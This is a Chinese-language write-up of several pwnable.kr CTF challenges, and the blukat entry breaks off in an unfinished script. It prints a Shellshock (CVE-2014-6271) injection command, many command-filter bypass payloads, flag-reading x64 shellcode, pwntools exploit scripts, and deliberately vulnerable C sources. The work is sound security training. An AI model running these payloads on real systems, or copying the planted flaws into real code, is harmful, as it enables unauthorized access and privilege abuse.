-r-xr-xr-x 1 root shellshock 959120 Oct 12 2014 bash
-r--r----- 1 root shellshock_pwn 47 Oct 12 2014 flag
-r-xr-sr-x 1 root shellshock_pwn 8547 Oct 12 2014 shellshock
-r--r--r-- 1 root root 188 Oct 12 2014 shellshock.c
1
2
3
4
5
6
7
#include <stdio.h>
int main(){
setresuid(getegid(), getegid(), getegid());
setresgid(getegid(), getegid(), getegid());
system("/home/shellshock/bash -c 'echo shock_me'");
return 0;
}

一脸懵逼地看着代码

查了一下,getegid, setresuid, setresgid, 还是不明白它在干什么, 我该怎么下手?

后来看到题目简介, 说是 a shocking news about bash

莫非是漏洞?

于是用 "bash uid 漏洞" 为关键词搜索, 果然搜索到了: bash漏洞最新补丁可被绕过

在shell中执行代码 env x='() { :;}; /bin/cat flag' ./shellshock

flag: only if I knew CVE-2014-6271 ten years ago..!!

我十年前就知道CVE-2014-6271就好了!!

coin1

Mommy, I wanna play a game!
(if your network response time is too slow, try nc 0 9007 inside pwnable.kr server)

Running at : nc pwnable.kr 9007

不详的预感

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
---------------------------------------------------
- Shall we play a game? -
---------------------------------------------------

You have given some gold coins in your hand
however, there is one counterfeit coin among them
counterfeit coin looks exactly same as real coin
however, its weight is different from real one
real coin weighs 10, counterfeit coin weighes 9
help me to find the counterfeit coin with a scale
if you find 100 counterfeit coins, you will get reward :)
FYI, you have 30 seconds.

- How to play -
1. you get a number of coins (N) and number of chances (C)
2. then you specify a set of index numbers of coins to be weighed
3. you get the weight information
4. 2~3 repeats C time, then you give the answer

- Example -
[Server] N=4 C=2 # find counterfeit among 4 coins with 2 trial
[Client] 0 1 # weigh first and second coin
[Server] 20 # scale result : 20
[Client] 3 # weigh fourth coin
[Server] 10 # scale result : 10
[Client] 2 # counterfeit coin is third!
[Server] Correct!

- Ready? starting in 3 sec... -

N个硬币中有1个假币, 要你称出来

简单的二分, 直接上脚本

需要注意的是在自己电脑上跑延迟太高30s内跑到100根本不可能, 随便放到哪道题的服务器上跑比较好

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
import re

# context.log_level = 'DEBUG'

io = remote('0', 9007)

io.recvuntil('- Ready? starting in 3 sec... -')


for n in range(100):
N, C = re.findall(r'\d+', io.recvline_startswith('N=').decode())
print('{}.N={} C={}'.format(n, N, C))
N = [str(i) for i in range(int(N))]

for _ in range(int(C)):
length = len(N)
left = N[0:length//2]
right = N[length//2:length]

if len(N) != 1:
io.sendline(' '.join(left))
weight = int(io.recv())

if weight != 10 * len(left):
N = left
else:
N = right
else:
io.sendline('1')

print('ANS:{}'.format(N[0]))
io.sendline(N[0])

io.interactive()

flag: b1NaRy_S34rch1nG_1s_3asy_p3asy

这是最像flag的一个flag了

blackjack

Hey! check out this C implementation of blackjack game!
I found it online

I like to give my flags to millionares.
how much money you got?

Running at : nc pwnable.kr 9009

代码将近800行

原先以为要写个C程序一直赢赢到百万富翁

后来觉得太扯了

仔细看代码是有漏洞的, 下注的地方原本不能下比自己当前现金还多的注,
但这个地方让用户第二次输入时没有进行校验, 导致了第二次可以输入任意金额

输入一个特大的注, 多玩几次就能得到flag了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int betting() //Asks user amount to bet
{
printf("\n\nEnter Bet: $");
scanf("%d", &bet);

if (bet > cash) //If player tries to bet more money than player has
{
printf("\nYou cannot bet more money than you have.");
printf("\nEnter Bet: ");
scanf("%d", &bet);
return bet;
}
else return bet;
} // End Function

flag: YaY_I_AM_A_MILLIONARE_LOL

P.S. 看了一下大佬们的WP, 原来还可以输入负数....然后故意输掉..... 高,
实在是高!

lotto

Mommy! I made a lotto program for my homework.
do you want to play?

ssh lotto@pwnable.kr -p2222 (pw:guest)

大乐透?

lotto.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>

unsigned char submit[6];

void play(){

int i;
printf("Submit your 6 lotto bytes : ");
fflush(stdout);

int r;
r = read(0, submit, 6);

printf("Lotto Start!\n");
//sleep(1);

// generate lotto numbers
int fd = open("/dev/urandom", O_RDONLY);
if(fd==-1){
printf("error. tell admin\n");
exit(-1);
}
unsigned char lotto[6];
if(read(fd, lotto, 6) != 6){
printf("error2. tell admin\n");
exit(-1);
}
for(i=0; i<6; i++){
lotto[i] = (lotto[i] % 45) + 1; // 1 ~ 45
}
close(fd);

// calculate lotto score
int match = 0, j = 0;
for(i=0; i<6; i++){
for(j=0; j<6; j++){
if(lotto[i] == submit[j]){
match++;
}
}
}

// win!
if(match == 6){
system("/bin/cat flag");
}
else{
printf("bad luck...\n");
}

}

void help(){
printf("- nLotto Rule -\n");
printf("nlotto is consisted with 6 random natural numbers less than 46\n");
printf("your goal is to match lotto numbers as many as you can\n");
printf("if you win lottery for *1st place*, you will get reward\n");
printf("for more details, follow the link below\n");
printf("http://www.nlotto.co.kr/counsel.do?method=playerGuide#buying_guide01\n\n");
printf("mathematical chance to win this game is known to be 1/8145060.\n");
}

int main(int argc, char* argv[]){

// menu
unsigned int menu;

while(1){

printf("- Select Menu -\n");
printf("1. Play Lotto\n");
printf("2. Help\n");
printf("3. Exit\n");

scanf("%d", &menu);

switch(menu){
case 1:
play();
break;
case 2:
help();
break;
case 3:
printf("bye\n");
return 0;
default:
printf("invalid menu\n");
break;
}
}
return 0;
}

程序先从标准输入获取六个字符, 再从 /dev/urandom
中经过一系列操作读取六个字符, 当这两组字符相等的时候, 就给我们flag......

帮助贴心地告诉了我们从数学上来讲我们获胜的机会是 1/8145060

一开始是一脸懵逼的, 甚至想破解 /dev/urandom 的算法, 后来仔细看代码,
发现了一个地方有漏洞

1
2
3
4
5
6
7
8
9
// calculate lotto score
int match = 0, j = 0;
for(i=0; i<6; i++){
for(j=0; j<6; j++){
if(lotto[i] == submit[j]){
match++;
}
}
}

这个地方, 本意应该是想实现顺序无关的比较,
结果已经存在过的字符没有过滤... 导致了我们的输入至少有任意一个在 lotto
数组中出现, 我们就能过关

那就随便试试吧, 我运气很好, 第二次就过了

flag: sorry mom... I FORGOT to check duplicate numbers... :(

cmd1

Mommy! what is PATH environment in Linux?

ssh cmd1@pwnable.kr -p2222 (pw:guest)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>
#include <string.h>

int filter(char* cmd){
int r=0;
r += strstr(cmd, "flag")!=0;
r += strstr(cmd, "sh")!=0;
r += strstr(cmd, "tmp")!=0;
return r;
}
int main(int argc, char* argv[], char** envp){
putenv("PATH=/thankyouverymuch");
if(filter(argv[1])) return 0;
system( argv[1] );
return 0;
}

逻辑很简单, 从命令行参数中获取字符串当做命令执行

但是这个地方过滤了 flag, tmp, sh, 并且更改了path

不难绕过, payload ./cmd1 "/bin/cat fla*"

flag: mommy now I get what PATH environment is for :)

cmd2

Daddy bought me a system command shell.
but he put some filters to prevent me from playing with it without his permission...
but I wanna play anytime I want!

ssh cmd2@pwnable.kr -p2222 (pw:flag of cmd1)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <stdio.h>
#include <string.h>

int filter(char* cmd){
int r=0;
r += strstr(cmd, "=")!=0;
r += strstr(cmd, "PATH")!=0;
r += strstr(cmd, "export")!=0;
r += strstr(cmd, "/")!=0;
r += strstr(cmd, "`")!=0;
r += strstr(cmd, "flag")!=0;
return r;
}

extern char** environ;
void delete_env(){
char** p;
for(p=environ; *p; p++) memset(*p, 0, strlen(*p));
}

int main(int argc, char* argv[], char** envp){
delete_env();
putenv("PATH=/no_command_execution_until_you_become_a_hacker");
if(filter(argv[1])) return 0;
printf("%s\n", argv[1]);
system( argv[1] );
return 0;
}

和上一题是同一类型的, 不过这个过滤有点丧心病狂啊...

但这次没有过滤tmp, 可以在/tmp下创建一个symbolic link到flag

最终解法: /home/cmd2/cmd2 'read -r a <galf;echo $a'

flag: FuN_w1th_5h3ll_v4riabl3s_haha

大佬们的解法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
./cmd2 "read b < fl\ag; echo \$b"
# 妙啊, 利用转义符巧妙地避开了过滤

cd / && /home/cmd2/cmd2 '$(pwd)"bin"$(pwd)cat $(pwd)"home"$(pwd)"cmd2"$(pwd)"fl""ag"'
# woc, NBNB. 没有反斜杠, 我们就创造反斜杠...

./cmd2 "command -p cat fla*"
# 涨知识了, 膜

./cmd2 '$(echo "\057\0142\0151\0156\057\0143\0141\0164\040\0146\0154\0141\0147")'
# 社会社会

mkdir /tmp/ca
ln -s /bin/cat /tmp/cat
cd /tmp/ca
ln -s /home/cmd2/flag f
/home/cmd2/cmd2 "\${PWD}t f"
# 全部建symbolic link

/home/cmd2/cmd2 'set -s'
/bin/cat /home/cmd2/flag
# 愣是没看懂

./cmd2 '$(printf \\057bin\\057cat) fl""ag'

./cmd2 '$(printf "%b%c%c%c%b%c%c%c%b%b%b%c%c%c%c" "\57" "b" "i" "n" "\57" "c" "a" "t" "\40" "\56" "\57" "f" "l" "a" "g")'

echo "/bin/cat flag" | ./cmd2 "read myvar; command \$myvar"

./cmd2 'echo $($(cd .. && cd .. && pwd)bin$(cd .. && cd .. && pwd)cat fla*)'

uaf (TODO)

Mommy, what is Use After Free bug?

ssh uaf@pwnable.kr -p2222 (pw:guest)

刚看完Double Free觉得看不懂还是来做pwnable慢慢练习, 结果就来了这个...

卧槽这次竟然是C++

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#include <fcntl.h>
#include <iostream>
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;

class Human{
private:
virtual void give_shell(){
system("/bin/sh");
}
protected:
int age;
string name;
public:
virtual void introduce(){
cout << "My name is " << name << endl;
cout << "I am " << age << " years old" << endl;
}
};

class Man: public Human{
public:
Man(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a nice guy!" << endl;
}
};

class Woman: public Human{
public:
Woman(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a cute girl!" << endl;
}
};

int main(int argc, char* argv[]){
Human* m = new Man("Jack", 25);
Human* w = new Woman("Jill", 21);

size_t len;
char* data;
unsigned int op;
while(1){
cout << "1. use\n2. after\n3. free\n";
cin >> op;

switch(op){
case 1:
m->introduce();
w->introduce();
break;
case 2:
len = atoi(argv[1]);
data = new char[len];
read(open(argv[2], O_RDONLY), data, len);
cout << "your data is allocated" << endl;
break;
case 3:
delete m;
delete w;
break;
default:
break;
}
}

return 0;
}

memcpy

Are you tired of hacking?, take some rest here.
Just help me out with my small experiment regarding memcpy performance.
after that, flag is yours.

http://pwnable.kr/bin/memcpy.c

ssh memcpy@pwnable.kr -p2222 (pw:guest)

看介绍似乎不难? 不过这个解题人数让我有些不放心 = =

readme

1
2
the compiled binary of "memcpy.c" source code (with real flag) will be executed under memcpy_pwn privilege if you connect to port 9022.
execute the binary by connecting to daemon(nc 0 9022).

真实的可执行文件只能通过 nc 0 9022 访问, 下面是 memcpy.c 的源码(消去了flag)

memcpy.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
// compiled with : gcc -o memcpy memcpy.c -m32 -lm
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <sys/mman.h>
#include <math.h>

unsigned long long rdtsc(){
asm("rdtsc");
}

char* slow_memcpy(char* dest, const char* src, size_t len){
int i;
for (i=0; i<len; i++) {
dest[i] = src[i];
}
return dest;
}

char* fast_memcpy(char* dest, const char* src, size_t len){
size_t i;
// 64-byte block fast copy
if(len >= 64){
i = len / 64;
len &= (64-1);
while(i-- > 0){
__asm__ __volatile__ (
"movdqa (%0), %%xmm0\n"
"movdqa 16(%0), %%xmm1\n"
"movdqa 32(%0), %%xmm2\n"
"movdqa 48(%0), %%xmm3\n"
"movntps %%xmm0, (%1)\n"
"movntps %%xmm1, 16(%1)\n"
"movntps %%xmm2, 32(%1)\n"
"movntps %%xmm3, 48(%1)\n"
::"r"(src),"r"(dest):"memory");
dest += 64;
src += 64;
}
}

// byte-to-byte slow copy
if(len) slow_memcpy(dest, src, len);
return dest;
}

int main(void){

setvbuf(stdout, 0, _IONBF, 0);
setvbuf(stdin, 0, _IOLBF, 0);

printf("Hey, I have a boring assignment for CS class.. :(\n");
printf("The assignment is simple.\n");

printf("-----------------------------------------------------\n");
printf("- What is the best implementation of memcpy? -\n");
printf("- 1. implement your own slow/fast version of memcpy -\n");
printf("- 2. compare them with various size of data -\n");
printf("- 3. conclude your experiment and submit report -\n");
printf("-----------------------------------------------------\n");

printf("This time, just help me out with my experiment and get flag\n");
printf("No fancy hacking, I promise :D\n");

unsigned long long t1, t2;
int e;
char* src;
char* dest;
unsigned int low, high;
unsigned int size;
// allocate memory
char* cache1 = mmap(0, 0x4000, 7, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
char* cache2 = mmap(0, 0x4000, 7, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
src = mmap(0, 0x2000, 7, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);

size_t sizes[10];
int i=0;

// setup experiment parameters
for(e=4; e<14; e++){ // 2^13 = 8K
low = pow(2,e-1);
high = pow(2,e);
printf("specify the memcpy amount between %d ~ %d : ", low, high);
scanf("%d", &size);
if( size < low || size > high ){
printf("don't mess with the experiment.\n");
exit(0);
}
sizes[i++] = size;
}

sleep(1);
printf("ok, lets run the experiment with your configuration\n");
sleep(1);

// run experiment
for(i=0; i<10; i++){
size = sizes[i];
printf("experiment %d : memcpy with buffer size %d\n", i+1, size);
dest = malloc( size );

memcpy(cache1, cache2, 0x4000); // to eliminate cache effect
t1 = rdtsc();
slow_memcpy(dest, src, size); // byte-to-byte memcpy
t2 = rdtsc();
printf("ellapsed CPU cycles for slow_memcpy : %llu\n", t2-t1);

memcpy(cache1, cache2, 0x4000); // to eliminate cache effect
t1 = rdtsc();
fast_memcpy(dest, src, size); // block-to-block memcpy
t2 = rdtsc();
printf("ellapsed CPU cycles for fast_memcpy : %llu\n", t2-t1);
printf("\n");
}

printf("thanks for helping my experiment!\n");
printf("flag : ----- erased in this source code -----\n");
return 0;
}

读了一遍源码, 好像真的是送分题...

试了一下, 每次都输入 high-1 , 结果执行了4次以后就没执行了, 大概是挂掉了,
果然没有这么好的事情...

但是在自己电脑上编译运行了一下, 又能成功, 非常的迷.

折腾半天愣是没弄懂为啥

无奈Google writeup, 发现里面提到在本地编译执行会看到 segmentation fault,
我看了看自己2.26的libc, 仿佛明白了什么...

果然换成2.23就出现 segmentation fault 了!...

gdb调试, 定位到段错误的地方

1
2
3
► 0x5655584c <fast_memcpy+62>    movntps xmmword ptr [edx], xmm0
0x5655584f <fast_memcpy+65> movntps xmmword ptr [edx + 0x10], xmm1
0x56555853 <fast_memcpy+69> movntps xmmword ptr [edx + 0x20], xmm2

Google movntps指令, 发现了在保护模式下可能出现的几种异常

MOVNTPS--Move Aligned Four Packed Single-FP Non Temporal

错误码 原因
#GP(0) For an illegal memory operand effective address in the CS, DS, ES, FS or GS segments. If memory operand is not aligned on a 16-byte boundary, regardless of segment.
#SS(0) For an illegal address in the SS segment.
#PF(fault-code) For a page fault.
#NM If TS in CR0 is set
#UD If EM in CR0 is set. If OSFXSR in CR4 is 0. If CPUID feature flag SSE is 0.
1
2
pwndbg> i registers edx
edx 0x565594a8 1448449192

查看edx的值, 发现没有对齐, 这大概就是产生段错误的原因了

查看源代码, 知道这个地方是dest的地址(果然还是看不惯AT&T...

1
2
3
4
5
6
7
8
9
10
__asm__ __volatile__ (
"movdqa (%0), %%xmm0\n"
"movdqa 16(%0), %%xmm1\n"
"movdqa 32(%0), %%xmm2\n"
"movdqa 48(%0), %%xmm3\n"
"movntps %%xmm0, (%1)\n"
"movntps %%xmm1, 16(%1)\n"
"movntps %%xmm2, 32(%1)\n"
"movntps %%xmm3, 48(%1)\n"
::"r"(src),"r"(dest):"memory");

查看 malloc 的相关实现(堆相关数据结构)

可以看到 malloc 每次申请一个 chunk, 由于存在空间复用及对齐,
chunk的大小为
ceil((size + (2 - 1) * SIZE_SZ) / (2 * SIZE_S))) * 2 * SIZE_S

32位系统上SIZE_S为4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of previous chunk, if unallocated (P clear) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of chunk, in bytes |A|M|P|
mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| User data starts here... .
. .
. (malloc_usable_size() bytes) .
next . |
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| (size of chunk, but used for application data) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of next chunk, in bytes |A|0|1|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

直接通过以下脚本可以跑出一组数据

1
2
3
4
5
can = [i for i in range(8, 8192 + 1) if (ceil((i + 4) / 8) * 8) % 16 == 0]

for _ in range(4, 14):
num = [i for i in can if pow(2, _ - 1) <= i <= pow(2, _)]
print(num[0])

1
2
3
4
5
6
7
8
9
10
8
21
37
69
133
261
517
1029
2053
4101

输入, 得到flag

flag: 1_w4nn4_br34K_th3_m3m0ry_4lignm3nt

asm

Mommy! I think I know how to make shellcodes

ssh asm@pwnable.kr -p2222 (pw: guest)

1
2
3
4
5
6
asm@ubuntu:~$ ls -l
total 28
-rwxr-xr-x 1 root root 13704 Nov 29 2016 asm
-rw-r--r-- 1 root root 1793 Nov 29 2016 asm.c
-rw-r--r-- 1 root root 211 Nov 19 2016 readme
-rw-r--r-- 1 root root 67 Nov 19 2016 this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong

readme

1
2
once you connect to port 9026, the "asm" binary will be executed under asm_pwn privilege.
make connection to challenge (nc 0 9026) then get the flag. (file name of the flag is same as the one in this directory)

asm.c

编译: gcc asm.c -o asm -lseccomp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <seccomp.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <unistd.h>

#define LENGTH 128

void sandbox(){
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
if (ctx == NULL) {
printf("seccomp error\n");
exit(0);
}

seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);

if (seccomp_load(ctx) < 0){
seccomp_release(ctx);
printf("seccomp error\n");
exit(0);
}
seccomp_release(ctx);
}

char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff";
unsigned char filter[256];
int main(int argc, char* argv[]){

setvbuf(stdout, 0, _IONBF, 0);
setvbuf(stdin, 0, _IOLBF, 0);

printf("Welcome to shellcoding practice challenge.\n");
printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n");
printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n");
printf("If this does not challenge you. you should play 'asg' challenge :)\n");

char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0);
memset(sh, 0x90, 0x1000);
memcpy(sh, stub, strlen(stub));


int offset = sizeof(stub);
printf("give me your x64 shellcode: ");
read(0, sh+offset, 1000);

alarm(10);
chroot("/home/asm_pwn"); // you are in chroot jail. so you can't use symlink in /tmp
sandbox();
((void (*)(void))sh)();
return 0;
}

通过 pwntools 的 disasm 命令对stub进行反汇编,
可以看到这段代码对寄存器进行了清空

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
In [9]: context.arch = 'amd64'

In [10]: print(disasm(b'\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31
...: \xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x3
...: 1\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff'))
0: 48 31 c0 xor rax,rax
3: 48 31 db xor rbx,rbx
6: 48 31 c9 xor rcx,rcx
9: 48 31 d2 xor rdx,rdx
c: 48 31 f6 xor rsi,rsi
f: 48 31 ff xor rdi,rdi
12: 48 31 ed xor rbp,rbp
15: 4d 31 c0 xor r8,r8
18: 4d 31 c9 xor r9,r9
1b: 4d 31 d2 xor r10,r10
1e: 4d 31 db xor r11,r11
21: 4d 31 e4 xor r12,r12
24: 4d 31 ed xor r13,r13
27: 4d 31 f6 xor r14,r14
2a: 4d 31 ff xor r15,r15

题目要求是写入一个1000字节以内的64位shellcode来读取那个文件名很长(231字节)的文件以获得flag

并且只能使用 linux syscalls

查阅相关资料, 知道调用syscall的方法是 (以一段shellcode为例)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/* 将 b'/bin///sh\x00' 入栈
* 多出来的'/'是为了对齐
* 故意将'h'留到下一行
* 从而实现shellcode没有出现\x00
* 而字符串末尾有\x00的效果
*/
push 0x68
mov rax, 0x732f2f2f6e69622f
push rax

/* 将对应的系统调用号送入rax寄存器, 这里用了pwntools内置常量
* 传参的顺序同64位函数调用
*/
mov rax, SYS_execve /* 0x3b */
mov rdi, rsp // 传入当前栈指针, 即为字符串的地址
syscall // 调用

那么大概思路应该是

1
2
3
4
5
6
7
push filename

fd = open(filename, 'r')

read(fd, esp, 0x100)

write(1, esp, 0x100)

用python实现如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
#!/usr/bin/env python
# -*- coding:utf-8 -*-

from pwn import *
from platform import platform

context.arch = 'amd64'
context.log_level = 'DEBUG'

if 'MANJARO' in platform():
io = process('./asm')
else:
io = remote('0', 9026)

code = '''
/*
* rdi = "blablablablabla"
* r15 = open(rdi, O_RDONLY)
*/
mov rax, 0x676e6f306f306f
push rax
mov rax, 0x306f306f306f306f
push rax
mov rax, 0x3030303030303030
push rax
mov rax, 0x303030306f6f6f6f
push rax
mov rax, 0x6f6f6f6f6f6f6f6f
push rax
mov rax, 0x6f6f6f6f6f6f6f6f
push rax
mov rax, 0x6f6f6f3030303030
push rax
mov rax, 0x3030303030303030
push rax
mov rax, 0x3030303030303030
push rax
mov rax, 0x303030306f6f6f6f
push rax
mov rax, 0x6f6f6f6f6f6f6f6f
push rax
mov rax, 0x6f6f6f6f6f6f6f6f
push rax
mov rax, 0x6f6f6f6f6f6f6f6f
push rax
mov rax, 0x6f6f6f6f6f6f6f6f
push rax
mov rax, 0x6f6f6f6f6f6f6f6f
push rax
mov rax, 0x6f6f6f6f6f6f6f6f
push rax
mov rax, 0x6f6f6f6f6f6f6f6f
push rax
mov rax, 0x6f6f6f6f6f6f6f6f
push rax
mov rax, 0x6f6f6f6f6f6f6f6f
push rax
mov rax, 0x6c5f797265765f73
push rax
mov rax, 0x695f656d616e5f65
push rax
mov rax, 0x6c69665f6568745f
push rax
mov rax, 0x7972726f732e656c
push rax
mov rax, 0x69665f736968745f
push rax
mov rax, 0x646165725f657361
push rax
mov rax, 0x656c705f656c6966
push rax
mov rax, 0x5f67616c665f726b
push rax
mov rax, 0x2e656c62616e7770
push rax
mov rax, 0x5f73695f73696874
push rax

mov rax, SYS_open
mov rdi, rsp
mov rsi, O_RDONLY
syscall
mov r15, rax

/* read(r15, rsp, 23) */
mov rax, SYS_read
mov rdi, r15
mov rsi, rsp
mov rdx, 0x100
syscall

/* write(1, rsp, 23) */
mov rax, SYS_write
mov rdi, 1
mov rsi, rsp
mov rdx, 0x100
syscall
'''

payload = asm(code)
io.sendlineafter('give me your x64 shellcode: ', payload)
io.interactive()

flag: Mak1ng_shelLcodE_i5_veRy_eaSy

看了一下大佬们的WP, 又学到了一招

1
2
3
4
5
shellcode = ''
shellcode += shellcraft.amd64.pushstr('this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong')
shellcode += shellcraft.amd64.open('rsp', 0)
shellcode += shellcraft.amd64.read('rax', 'rsp', 100)
shellcode += shellcraft.amd64.write(1, 'rsp', 100)

unlink (TODO)

Daddy! how can I exploit unlink corruption?

ssh unlink@pwnable.kr -p2222 (pw: guest)

1
2
unlink@ubuntu:~$ ls
flag intended_solution.txt unlink unlink.c

unlink.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
struct tagOBJ* fd;
struct tagOBJ* bk;
char buf[8];
}OBJ;

void shell(){
system("/bin/sh");
}

void unlink(OBJ* P){
OBJ* BK;
OBJ* FD;
BK=P->bk;
FD=P->fd;
FD->bk=BK;
BK->fd=FD;
}
int main(int argc, char* argv[]){
malloc(1024);
OBJ* A = (OBJ*)malloc(sizeof(OBJ));
OBJ* B = (OBJ*)malloc(sizeof(OBJ));
OBJ* C = (OBJ*)malloc(sizeof(OBJ));

// double linked list: A <-> B <-> C
A->fd = B;
B->bk = A;
B->fd = C;
C->bk = B;

printf("here is stack address leak: %p\n", &A);
printf("here is heap address leak: %p\n", A);
printf("now that you have leaks, get shell!\n");
// heap overflow!
gets(A->buf);

// exploit this unlink!
unlink(B);
return 0;
}

blukat (TODO)

Sometimes, pwnable is strange...
hint: if this challenge is hard, you are a skilled player.

ssh blukat@pwnable.kr -p2222 (pw: guest)

blukat.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <fcntl.h>
char flag[100];
char password[100];
char* key = "3\rG[S/%\x1c\x1d#0?\rIS\x0f\x1c\x1d\x18;,4\x1b\x00\x1bp;5\x0b\x1b\x08\x45+";
void calc_flag(char* s){
int i;
for(i=0; i<strlen(s); i++){
flag[i] = s[i] ^ key[i];
}
printf("%s\n", flag);
}
int main(){
FILE* fp = fopen("/home/blukat/password", "r");
fgets(password, 100, fp);
char buf[100];
printf("guess the password!\n");
fgets(buf, 128, stdin);
if(!strcmp(password, buf)){
printf("congrats! here is your flag: ");
calc_flag(password);
}
else{
printf("wrong guess!\n");
exit(0);
}
return 0;
}
1
2
3
4
5
6
[*] '/tmp/blukat'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

开了 Canary 看起来很难的样子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

# pwnlib.gdb.context.terminal = ['konsole', '-e']
